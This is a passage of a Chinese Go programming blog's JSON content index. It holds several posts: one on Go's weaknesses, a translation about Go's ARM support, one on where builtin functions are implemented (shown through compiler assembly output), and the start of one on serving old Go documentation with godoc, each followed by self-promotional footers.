微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/12/25/bpf-and-go-modern-forms-of-introspection-in-linux/","summary":"\u003cp\u003e本文翻译自马可·凯瓦克（Marko Kevac）的\u003ca href=\"https://medium.com/bumble-tech/bpf-and-go-modern-forms-of-introspection-in-linux-6b9802682223\"\u003e《BPF and Go: Modern forms of introspection in Linux》\u003c/a\u003e(\u003ca href=\"https://medium.com/bumble-tech/bpf-and-go-modern-forms-of-introspection-in-linux-6b9802682223\"\u003ehttps://medium.com/bumble-tech/bpf-and-go-modern-forms-of-introspection-in-linux-6b9802682223\u003c/a\u003e)。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/bpf-go-linux/bpf-and-go-modern-forms-of-introspection-in-linux-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e每个人都有自己喜欢的关于魔法的书。对于一个人来说是托尔金，对于另一个人来说是普拉切特，对于第三个人来说，比如我，是马克斯-弗雷。今天我要给大家讲的是我最喜欢的IT魔法：\u003ca href=\"http://en.wikipedia.org/wiki/Berkeley_Packet_Filter\"\u003eBPF\u003c/a\u003e以及围绕它的现代基础设施。\u003c/p\u003e","title":"BPF和Go：在Linux中内省的现代方式[译]"},{"content":"\n本文源于笔者对知乎上的一个问题“Go有哪些劣势？”(https://www.zhihu.com/question/300163211)的一次回答(https://www.zhihu.com/question/300163211/answer/1632229924)。当时随手花几分钟在手机上写了一些点。但事后我觉得应该再做一些系统地思考。在这里我就将更系统地思考后的答案整理并分享给大家。\n关于Go语言，我是喜欢的，甚至可以算作“鼓吹者”阵营的一份子。但我一贯秉承“Go并非完美语言”这个观点来尽可能客观地看待Go。每种编程语言都有自己的劣势，Go也不例外，下面我们就来列举一下Go的那些“劣势”：\n1. 技术路线选择导致的“性能劣势” 众所周知，Go是带垃圾回收的编程语言，因此不管Go的STW(Stop The World)的时间有多么短，GC的延迟有多么的小，它依然属于GC类编程语言，和Java、C#属于一个阵营，同时天然与C、C++、Rust这样的手动管理内存、没有运行时GC负担的编程语言之间划清了界线。虽然Go语言的初衷是成为系统级编程语言(关于Go语言的诞生语言演化历史，可以参考我的技术专栏文章“Go语言的前生今世” https://www.imooc.com/read/87/article/2320 )，虽然Go的运行时性能可以满足99.99%的场合的需要，虽然百度的万亿流量转发引擎BFE、时序数据库influxdb、分布式关系数据库TiDB等性能敏感的项目都选择了用Go实现，但不能否认的是在一些性能超级敏感的场合，选择Go依然要慎重。\n2 坚持自己的设计哲学所带来的“表达劣势” 1) “单一”的表达方法 很多从其他语言转到Go阵营的开发人员抱怨Go能玩的花样太少，套路不多，Go之所以表现出“表达劣势”，源于其设计哲学中的一个原则：“崇尚一个事情只有一个或少数几种写法”。这个原则不符合某些开发人员炫技的心理需求，于是Go就被诟病为是资质平平的程序员才会去用的语言。\nGo 1.18将加入泛型（类型参数），这算是对此类“劣势”的一个“弥补”。不过对于我们这些对Go价值观和设计哲学认同已久的Gopher而言，我们十分担心大幅提高Go表达能力的泛型将成为奇技淫巧的“滋生地”。\n2) “过时”的显式的错误处理 Go语言从诞生那天起就没有像C++、Java、Python等主流编程语言那样提供基于异常（exception）的结构化try-catch-finally错误处理机制，Go的设计者们认为将异常耦合到程序控制结构中会导致代码混乱。Go提供了一种简单的基于错误值比较的错误处理机制，这“强迫”每个Go开发人员都必须显式地去关注和处理每个错误，经过显式错误处理的代码会更为健壮，也会让Go开发人员对这些代码更有信心。但这一设计哲学的坚持却被很多来自其他语言的开发者嘲笑为“过时”，被称为“半个世纪前的古老机制”。(笔者注：二十世纪70年代C语言诞生时采用的错误处理机制)\nGo开发团队也曾“动摇过”，Go开发团队在发布Go2计划后曾发布过多版Go错误处理的新机制草案。Go社区也针对此问题做过长时间的讨论甚至是“争吵”，知名Gopher Dave Cheney发声、Rob Pike发声，著名Go培训师、《Go语言实战》联合作者之一的威廉·肯尼迪（William Kennedy）更是在Go团队try 提案公示之后，发表了对Go社区的公开信反对try方案(更多内容可参考笔者的专栏文章“if err != nil 重复太多可以这么办”(https://www.imooc.com/read/87/article/2434)，最终坚持Go设计哲学的一派占据了上风，try提案被否决，没有加入到Go 1.13版本中！\n3. 背离主流的“小众劣势” Go早期设计的包依赖管理机制的确存在不小的“瑕疵”，这源于Google内部大单一代码仓库与基于主干的开发模型的影响。走出Google的Go语言听到了不同方面的声音，Go包管理机制长期无法满足社区的需求。于是先后出现了vendor机制、dep等对包依赖管理的改进尝试。\n2018 年初，正当广大gopher们认为dep将“顺理成章”地升级为go官方工具链的一部分的时候，Go核心团队的技术负责人，也是Go 核心团队早期成员之一的Russ Cox在个人博客上连续发表了七篇文章，系统阐述了Go团队解决“包依赖管理” 的技术方案: vgo，即go module的前身。\nvgo的主要思路包括：语义导入版本 (Semantic Import Versioning)、 最小版本选择 (Minimal Version Selection) ，这些都与当前主流编程语言的包依赖管理的规则相悖，尤其是最小版本选择(MVS)，算是另辟蹊径，背离主流！(更多关于go module最佳实践的内容可以参考我的专栏文章“与时俱进！使用module管理依赖包”(https://www.imooc.com/read/87/article/2476))。\n4. Go核心团队的“民主集中制”导致的“社区劣势” 和Rust团队广泛采纳社区建议“猛加语言特性”不同，Go像是另外一个极端：Go核心团队对语言演化的把控力十足，不是社区多数人赞同的就一定会被采纳而加入Go语言，我这里将其戏称为“民主集中制”吧，即真正的投票权其实在Go核心团队的代表社区的少数人手中。\n2018年初的dep与vgo之争就是这一“劣势”的典型表现。社区费劲一年多努力精心打造的dep项目被Russ Cox等少数人集中花掉一些时间设计出的vgo给“挤出”了Go包依赖管理工具标准的位置，成为了Go module成功的“垫脚石”。即便最终证明Go团队使用go module的决策的结果是正确的，但 这导致的Go社区与Go核心团队的“裂痕”是确确实实存在的，以致于这两年Go核心团队极力改善与Go社区的关系，规范化和透明化Go proposal的提出、review和接纳流程。\n5. 全面出击失败后，期望的落空导致的“功能孱弱劣势” Go 1.5发布之后，由于实现了自举和GC延迟的大幅下降，Go受关注程度逐渐升高，直至2017年初第二次拿到TIOBE年度最佳编程语言，让Go语言有些“膨胀”，甚至狂热的Go鼓吹者曾一度希望Go一统江湖：不仅牢牢把持住自己的云原生市场，占领Java的企业级市场，还要在终端(android. ios)、前端(js)上击败现有对手。\n有人可能觉得我的上述说法可笑，但这些说法并非空穴来风。Go语言在终端、前端方面还真的曾经发过力，了解Go历史的都知道，Go团队曾经有全职开发人员参与gomobile项目(http://golang.org/x/mobile)，该项目旨在构建在Android和iOS上的Go技术栈，实现用Go语言编写终端应用的目的。\n在前端方面，gopherjs项目(https://github.com/gopherjs/gopherjs)可以将go代码编译为js代码并运行于各大浏览器中。后来gopherjs的作者又帮助go项目原生支持webassembly，支持将go编译为webassembly运行在浏览器中。\n但上面的尝试最终没能“得偿如愿”，现状是在终端、前端应用领域，使用Go编码的人少之又少。于是Go又逐渐冷静下来，回到自己擅长的主力战场，回归到了企业级应用、基础设施、中间件、微服务、命令行应用等领域，并且在这些领域取得了越来越多开发者的青睐。\n但曾经的全面出击失败给很多开发者留下了“Go功能孱弱”的口实，甚至有人说亲爹Google也没能让亲兄弟Android给Go走个后门。\n小结 记得有人问过Go核心开发团队这样一个问题：未来Go语言演化之路上最困难的事情是什么？Go团队的回答是：使Go语言一直保持简单。\n在本文列出的几点“劣势”中，除了第一点的性能劣势和最后两点有待商榷外，其他几点对于不爱Go的开发人员来说，这些的确都是“劣势”。但对于真正认同Go价值观和设计哲学的开发者而言，这些难道不正是Go语言的“优势”吗！\n**“Gopher部落”知识星球开球了！**高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！星球首开，福利自然是少不了的！2020年年底之前，8.8折(很吉利吧^_^)加入星球，下方图片扫起来吧！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足\u0026gt;广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！78元简直就\n是白菜价，简直就是白piao! 欢迎大家订阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily 微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/12/24/the-disadvantages-of-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/the-disadvantages-of-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e本文源于笔者对知乎上的一个问题\u003ca href=\"https://www.zhihu.com/question/300163211\"\u003e“Go有哪些劣势？”\u003c/a\u003e(\u003ca href=\"https://www.zhihu.com/question/300163211\"\u003ehttps://www.zhihu.com/question/300163211\u003c/a\u003e)的一次\u003ca href=\"https://www.zhihu.com/question/300163211/answer/1632229924\"\u003e回答\u003c/a\u003e(\u003ca href=\"https://www.zhihu.com/question/300163211/answer/1632229924\"\u003ehttps://www.zhihu.com/question/300163211/answer/1632229924\u003c/a\u003e)。当时随手花几分钟在手机上写了一些点。但事后我觉得应该再做一些系统地思考。在这里我就将更系统地思考后的答案整理并分享给大家。\u003c/p\u003e\n\u003cp\u003e关于Go语言，我是喜欢的，甚至可以算作“鼓吹者”阵营的一份子。但我一贯秉承“Go并非完美语言”这个观点来尽可能客观地看待Go。每种编程语言都有自己的劣势，Go也不例外，下面我们就来列举一下Go的那些“劣势”：\u003c/p\u003e","title":"Go语言有哪些“劣势”"},{"content":"本文翻译自Go官方博客文章《Go on ARM and Beyond》(https://blog.golang.org/ports)。\n最近业界关于非x86处理器的讨论沸沸扬扬，所以我们认为值得简单的写一篇关于Go语言对这些非x86处理器的支持情况的文章。\n对我们来说，Go的可移植性一直很重要，我们不会过度去适配任何特定的操作系统或架构。Go最初的开源版本包括对两种操作系统（Linux和MacOSX）和三种架构（64位x86、32位x86和32位ARM）的支持。\n多年来，我们已经增加了对更多操作系统和架构组合的支持：\nGo1（2012年3月）支持原始系统(译注：上面提到的两种操作系统和三种架构)以及64位和32位x86上的FreeBSD、NetBSD和OpenBSD，以及32位x86上的Plan9。 Go 1.3（2014年6月）增加了对64位x86上Solaris的支持。 Go 1.4（2014年12月）增加了对32位ARM上Android和64位x86上Plan9的支持。 Go 1.5（2015年8月）增加了对64位ARM和64位PowerPC上的Linux以及32位和64位ARM上的iOS的支持。 Go 1.6（2016年2月）增加了对64位MIPS上的Linux，以及32位x86上的Android的支持。它还增加了32位ARM上的Linux官方二进制下载，主要用于RaspberryPi系统。 Go 1.7（2016年8月）增加了对的z系统（S390x）上Linux和32位x86上Plan9的支持。 Go 1.8（2017年2月）增加了对32位MIPS上Linux的支持，并且它增加了64位PowerPC和z系统上Linux的官方二进制下载。 Go 1.9（2017年8月）增加了对64位ARM上Linux的官方二进制下载。 Go 1.12（2018年2月）增加了对32位ARM上Windows10 IoT Core的支持，如RaspberryPi3。它还增加了对64位PowerPC上AIX的支持。 Go 1.14（2019年2月）增加了对64位RISC-V上Linux的支持。 虽然x86-64的移植在Go的早期得到了大部分的关注，但今天我们所有的目标架构都得到了我们基于SSA的编译器后端的良好支持，并生成了优秀的代码。我们一路走来得到了许多贡献者的帮助，包括来自Amazon、ARM、Atos、IBM、Intel和MIPS的工程师。\nGo支持对所有这些系统进行开箱即用的交叉编译，而且只需付出最小的努力。例如，要在一个64位Linux系统中构建一个基于32位x86的Windows应用，我们只需执行下面命令：\nGOARCH=386 GOOS=windows go build myapp # 编译生成myapp.exe 在过去的一年里，几家主要的厂商都宣布了用于服务器、笔记本电脑和开发者机器的新ARM64硬件。Go在这些方面适配的很好。多年来，Go一直在ARM64 Linux服务器上为Docker、Kubernetes和Go生态系统的其他部分，以及ARM64 Android和iOS设备上的移动应用提供支持。\n自今年夏天苹果宣布Mac过渡到苹果芯片以来，苹果和谷歌一直在合作，以确保Go和更广泛的Go生态系统在其上运行良好，无论是在Rosetta 2下运行Go x86二进制文件，还是运行原生Go ARM64二进制文件。本周早些时候，我们发布了第一个Go 1.16测试版，其中包括了对使用M1芯片的Mac的原生支持。您可以在Go下载页面上下载并试用适用于M1 Mac和所有其他系统的Go 1.16测试版。当然，这是一个测试版，就像所有的测试版一样，它肯定有我们不知道的bug。如果你遇到任何问题，请在golang.org/issue/new上报告）。\n在本地开发中使用与生产中相同的CPU架构总是很好的，这样可以消除两种环境之间的差异。如果你部署到ARM64生产服务器上，Go也可以轻松在ARM64 Linux和Mac系统上进行开发。但当然，无论你是在x86系统上工作并部署到ARM上，还是在Windows上工作并部署到Linux上，或者其他组合，在一个系统上工作并交叉编译部署到另一个系统上仍然和以前一样容易。\n我们希望添加支持的下一个目标是ARM64 Windows 10系统。如果你有专业知识并愿意提供帮助，我们正在golang.org/issue/36439上协调工作。\n**“Gopher部落”知识星球开球了！**高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！星球首开，福利自然是少不了的！2020年年底之前，8.8折(很吉利吧^_^)加入星球，下方图片扫起来吧！\n我的Go技术专栏：“改善Go语⾔编程质量的50个有效实践”上线了，欢迎大家订阅学习！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家https://tonybai.com/\nsmspush:可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展；短信内容你来定，不再受约束,接口丰富，支持长短信，签名可选。\n2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5GRCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1coreCPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687开启你的DO主机之路。\nGopherDaily(Gopher每日新闻)归档仓库-https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github:https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/12/18/go-ports-until-202012/","summary":"\u003cp\u003e本文翻译自Go官方博客文章\u003ca href=\"https://blog.golang.org/ports\"\u003e《Go on ARM and Beyond》\u003c/a\u003e(\u003ca href=\"https://blog.golang.org/ports\"\u003ehttps://blog.golang.org/ports\u003c/a\u003e)。\u003c/p\u003e\n\u003cp\u003e最近业界关于非x86处理器的讨论沸沸扬扬，所以我们认为值得简单的写一篇关于Go语言对这些非x86处理器的支持情况的文章。\u003c/p\u003e","title":"Go语言对ARM架构的支持与未来[译]"},{"content":"\nGo内建函数源码，我好像在哪里见过你。 – 佚名\n1. 何为Go内建函数 众所周知，Go是最简单的主流编程语言之一，截至Go 1.15版本，Go语言的关键字的规模依旧保持在25个：\n很多刚入门的gopher可能会问：像bool、byte、error、true、iota甚至int都难道都不是关键字？没错！和其他语言不同，这些标识符并不是关键字，在Go中它们被称为预定义标识符。这些标识符拥有universe block作用域(关于go代码块作用域的详细解析，可参考我的技术专栏：“改善Go语⾔编程质量的50个有效实践”)，可以在任何源码位置使用。\n从上图我们看到：所谓的Go内建函数也包含在这个预定义标识符集合中，只是这些标识符被用作函数名称标识符罢了。\n2. 预定义标识符可被override Go语言的关键字是保留的，我们无法将其用于规范之外的其他场合，比如作为变量的标识符。但是预定义标识符不是关键字，我们可以override它们。下面就是一个对默认表示整型类型的预定义标识符int进行override的例子：\npackage main import ( \u0026quot;fmt\u0026quot; \u0026quot;unsafe\u0026quot; ) type int int8 func main() { var a int = 5 fmt.Printf(\u0026quot;%T\\n\u0026quot;, a) // main.int，而不是int fmt.Println(unsafe.Sizeof(a)) // 1，而不是8 } 在上述这个源文件中，预定义标识符int被override为一个自定义类型int，该类型的underlying type为int8，于是当我们输出该类型变量(代码中的变量a)的类型和长度时，我们得到的是main.int和1，而不是int和8。\n3. 预定义标识符的声明源码在哪里 Go是开源的编程语言，这些预定义标识符想必也都有自己的“归宿”吧，的确是这样的。Go的每个发行版都带有一份源码，而预定义标识符就在这份源码中。\n以Go 1.14为例，我们可以在下面路径中找到预定义标识符的源码：\n$GOROOT/src/builtin/builtin.go 以string、int、uint这几个代表原生类型的预定义标识符为例，它们的声明代码如下：\n// $GOROOT/src/builtin/builtin.go // string is the set of all strings of 8-bit bytes, conventionally but not // necessarily representing UTF-8-encoded text. A string may be empty, but // not nil. Values of string type are immutable. type string string // int is a signed integer type that is at least 32 bits in size. It is a // distinct type, however, and not an alias for, say, int32. type int int // uint is an unsigned integer type that is at least 32 bits in size. It is a // distinct type, however, and not an alias for, say, uint32. type uint uint 同时，我们利用go doc builtin.int也可以查看预定义标识符int的文档：\n$go doc builtin.int package builtin // import \u0026quot;builtin\u0026quot; type int int int is a signed integer type that is at least 32 bits in size. It is a distinct type, however, and not an alias for, say, int32. func cap(v Type) int func copy(dst, src []Type) int func len(v Type) int 4. 内建函数的源码在哪里？ 作为预声明标识符子集的内建函数们在builtin.go中也都有自己的位置，比如：以append这个内建函数为例，我们可以在Go安装包的builtin.go中找到它的原型(Go 1.14)：\n// The append built-in function appends elements to the end of a slice. If // it has sufficient capacity, the destination is resliced to accommodate the // new elements. If it does not, a new underlying array will be allocated. // Append returns the updated slice. It is therefore necessary to store the // result of append, often in the variable holding the slice itself: // slice = append(slice, elem1, elem2) // slice = append(slice, anotherSlice...) // As a special case, it is legal to append a string to a byte slice, like this: // slice = append([]byte(\u0026quot;hello \u0026quot;), \u0026quot;world\u0026quot;...) func append(slice []Type, elems ...Type) []Type 但我们惊奇的发现：这里没有append函数的实现。那么append内建函数实现的源码究竟在哪里呢？本质上讲append函数，包括其他内建函数其实并没有自己的实现源码。\n内建函数仅仅是一个标识符，在Go源码编译期间，Go编译器遇到内建函数标识符时会将其替换为若干runtime的调用，我们还以append函数为例，我们输出下面代码的汇编代码(Go 1.14)：\n// append.go package main import \u0026quot;fmt\u0026quot; func main() { var s = []int{5, 6} s = append(s, 7, fmt.Println(s) } $go tool compile -S append.go \u0026gt; append.s 汇编节选如下(append.s)：\n\u0026quot;\u0026quot;.main STEXT size=277 args=0x0 locals=0x58 0x0000 00000 (xxx.go:5) TEXT \u0026quot;\u0026quot;.main(SB), ABIInternal, $88-0 0x0000 00000 (xxx.go:5) MOVQ (TLS), CX 0x0009 00009 (xxx.go:5) CMPQ SP, 16(CX) 0x000d 00013 (xxx.go:5) PCDATA $0, $-2 0x000d 00013 (xxx.go:5) JLS 267 0x0013 00019 (xxx.go:5) PCDATA $0, $-1 0x0013 00019 (xxx.go:5) SUBQ $88, SP 0x0017 00023 (xxx.go:5) MOVQ BP, 80(SP) 0x001c 00028 (xxx.go:5) LEAQ 80(SP), BP 0x0021 00033 (xxx.go:5) PCDATA $0, $-2 0x0021 00033 (xxx.go:5) PCDATA $1, $-2 0x0021 00033 (xxx.go:5) FUNCDATA $0, gclocals·69c1753bd5f81501d95132d08af04464(SB) 0x0021 00033 (xxx.go:5) FUNCDATA $1, gclocals·568470801006e5c0dc3947ea998fe279(SB) 0x0021 00033 (xxx.go:5) FUNCDATA $2, gclocals·bfec7e55b3f043d1941c093912808913(SB) 0x0021 00033 (xxx.go:5) FUNCDATA $3, \u0026quot;\u0026quot;.main.stkobj(SB) 0x0021 00033 (xxx.go:6) PCDATA $0, $1 0x0021 00033 (xxx.go:6) PCDATA $1, $0 0x0021 00033 (xxx.go:6) LEAQ type.[2]int(SB), AX 0x0028 00040 (xxx.go:6) PCDATA $0, $0 0x0028 00040 (xxx.go:6) MOVQ AX, (SP) 0x002c 00044 (xxx.go:6) CALL runtime.newobject(SB) 0x0031 00049 (xxx.go:6) PCDATA $0, $1 0x0031 00049 (xxx.go:6) MOVQ 8(SP), AX 0x0036 00054 (xxx.go:6) MOVQ $5, (AX) 0x003d 00061 (xxx.go:6) MOVQ $6, 8(AX) 0x0045 00069 (xxx.go:7) PCDATA $0, $2 0x0045 00069 (xxx.go:7) LEAQ type.int(SB), CX 0x004c 00076 (xxx.go:7) PCDATA $0, $1 0x004c 00076 (xxx.go:7) MOVQ CX, (SP) 0x0050 00080 (xxx.go:7) PCDATA $0, $0 0x0050 00080 (xxx.go:7) MOVQ AX, 8(SP) 0x0055 00085 (xxx.go:7) MOVQ $2, 16(SP) 0x005e 00094 (xxx.go:7) MOVQ $2, 24(SP) 0x0067 00103 (xxx.go:7) MOVQ $4, 32(SP) 0x0070 00112 (xxx.go:7) CALL runtime.growslice(SB) 0x0075 00117 (xxx.go:7) PCDATA $0, $1 0x0075 00117 (xxx.go:7) MOVQ 40(SP), AX 0x007a 00122 (xxx.go:7) MOVQ 48(SP), CX 0x007f 00127 (xxx.go:7) MOVQ 56(SP), DX 0x0084 00132 (xxx.go:7) MOVQ $7, 16(AX) 0x008c 00140 (xxx.go:7) MOVQ $8, 24(AX) 0x0094 00148 (xxx.go:8) PCDATA $0, $0 0x0094 00148 (xxx.go:8) MOVQ AX, (SP) 0x0098 00152 (xxx.go:7) LEAQ 2(CX), AX 0x009c 00156 (xxx.go:8) MOVQ AX, 8(SP) 0x00a1 00161 (xxx.go:8) MOVQ DX, 16(SP) 0x00a6 00166 (xxx.go:8) CALL runtime.convTslice(SB) ... ... 我们可以看到：append并没有以独立的身份出现在CALL汇编指令的后面，而是被换成：runtime.growslice、runtime.convTslice以及相关汇编指令了。\n**“Gopher部落”知识星球开球了！**高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！星球首开，福利自然是少不了的！2020年年底之前，8.8折(很吉利吧^_^)加入星球，下方图片扫起来吧！\n我的Go技术专栏：“改善Go语⾔编程质量的50个有效实践”上线了，欢迎大家订阅学习！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/12/17/where-is-the-source-of-builtin-functions/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/where-is-the-source-of-builtin-functions-1.png\"\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eGo内建函数源码，我好像在哪里见过你。 – 佚名\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3 id=\"1-何为go内建函数\"\u003e1. 何为Go内建函数\u003c/h3\u003e\n\u003cp\u003e众所周知，Go是最简单的主流编程语言之一，截至\u003ca href=\"https://mp.weixin.qq.com/s/B5onfyP7BPYCh_rMSBtfcQ\"\u003eGo 1.15版本\u003c/a\u003e，Go语言的\u003ca href=\"https://tip.golang.org/ref/spec#Keywords\"\u003e关键字\u003c/a\u003e的规模依旧保持在25个：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 2: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/where-is-the-source-of-builtin-functions-2.png\"\u003e\u003c/p\u003e","title":"一文告诉你神奇的Go内建函数源码在哪里"},{"content":"\nGo语言自开源至今已经11个年头了！截至本文发稿时，目前最新的Go版本为1.15，Go核心开发团队正紧锣密鼓的进行着Go 1.16版本的开发（现阶段主要是修复bug），该版本将在2021年2月份正式发布。\nGo以“自带电池(battery included)”而为人所知，除了Go标准库的全面和强大之外，Go工具链的丰富和易用在主流编程语言中也是位列“执牛耳者”之列的，而Go文档查看工具就在Go工具链之列中。\n查看文档是Gopher们日常必不可少的开发活动之一。Go语言从诞生那天起就十分重视项目文档的建设，除了在Go官方网站(https://golang.org)可以查看到最新稳定发布版（当前是Go 1.15）的文档之外，在tip.golang.org上还可以查看到项目主线分支（master）上最新开发版本（非稳定版）的文档。\n那么问题来了！如果想查看Go的某个历史版本（比如：Go 1.9）的文档，我应该如何做呢？别急！在这篇文章中，我将告诉你答案。\n1. 利用go doc，可行，但非最优 从Go发布1.0版本开始，Go就将整个Go项目文档加入到Go发行版中，这样开发人员在本地安装Go的同时也拥有了一份完整的Go项目文档。\n除了在发行版中集成所有文档，从1.5版本开始，Go还将文档查看工具集成到其工具链当中(即go doc)，使之成为Go工具链不可分割的一部分，这也再次体现了文档在Go语言中的重要性。自go doc在1.5版本加入Go工具链之后，它就和go get、go build一样成为了Gopher们每日必用的go命令，也成为了Go包文档的“百科全书”。\n不过利用go doc，我们只能查看当前本地的go版本的文档。如果当前本地环境的Go版本为Go 1.14，那么所有go doc输出的文档内容均来自Go 1.14版本。如果我们要查看Go 1.9版本的文档，我们需要将本地环境的Go版本“切换”到Go 1.9才可以。\n“切换”的方法有很多，笔者习惯通过重新设置\\$GOROOT的方式在多个Go版本间切换：\n$export GOROOT=~/.bin/go1.9.7 $export PATH=$GOROOT/bin:$GOPATH $go version go version go1.9.7 darwin/amd64 $go doc http.Request 我们看到：“切换”后再执行的go doc的输出结果均来自Go 1.9版本了。\n不过这种方法比较繁琐，需要切换本地环境中的go版本，并且没法像官方站点那样通过图形化的方式查阅go文档，这显然不是最优方案，我们继续往下看。\n2. 使用godoc建立历史版本的Web化文档中心 很多接触Go语言较早的gopher都知道，在go doc之前，还有一个像gofmt一样随着Go安装包一起发布的文档查看工具，它就是godoc，也就是说godoc在Go世界的存在历史比go doc还要悠久。在Go 1.5版本增加go doc工具后，godoc与go doc就一直并存在Go中。这种情况一直持续到Go 1.13版本。在Go 1.13版本中，godoc就不再和go、gofmt一起内置在Go安装包中发布了。godoc被挪到Go扩展工具链中，我们可以通过下面命令单独安装godoc：\n$go get golang.org/x/tools/cmd/godoc 和命令行go doc工具不同的是，godoc实质上是一个web服务，它会在本地建立起一个web形式的Go文档中心，当我们执行下面命令时这个文档中心服务就启动了：\n$godoc -http=localhost:6060 在浏览器地址栏输入http://localhost:6060，打开Go文档中心首页：\n我们看到godoc将\\$GOROOT下面的内容以web页面的形似呈现给开发者，同时我们看到首页顶部的菜单与Go官方主页的菜单也基本如出一辙。点击“Packages”可以打开Go包参考文档页面：\nGo包参考文档页面将包分为几类：标准库包(Standard library)、第三方包(Third party)和其它包(Other packages)，其中的第三方包就是本地\\$GOPATH下面的各个包。\n不过，默认情况下godoc建立的Go文档中心对应的文档版本也是本地环境当前的Go版本，即如果当前本地安装的Go版本为go 1.14，那么godoc所呈现的就是go 1.14稳定版对应的文档。 那么如果我想查看一下旧版本的文档，比如Go 1.9.7版本的文档，我该如何做呢？首先我们需要下载go 1.9.7版本的安装包（因为正如前面所说的，go文档是随着安装包一起发布的），将其解压到本地目录下，比如是/Users/tonybai/.bin/go1.9.7，接下来我们执行如下命令：\n$godoc -goroot /Users/tonybai/.bin/go1.9.7 -http=localhost:6060 我们用**-goroot**命令行选项显式告诉godoc从哪个路径加载Go文档数据，这样godoc建立的文档中心中的文档版本就是Go 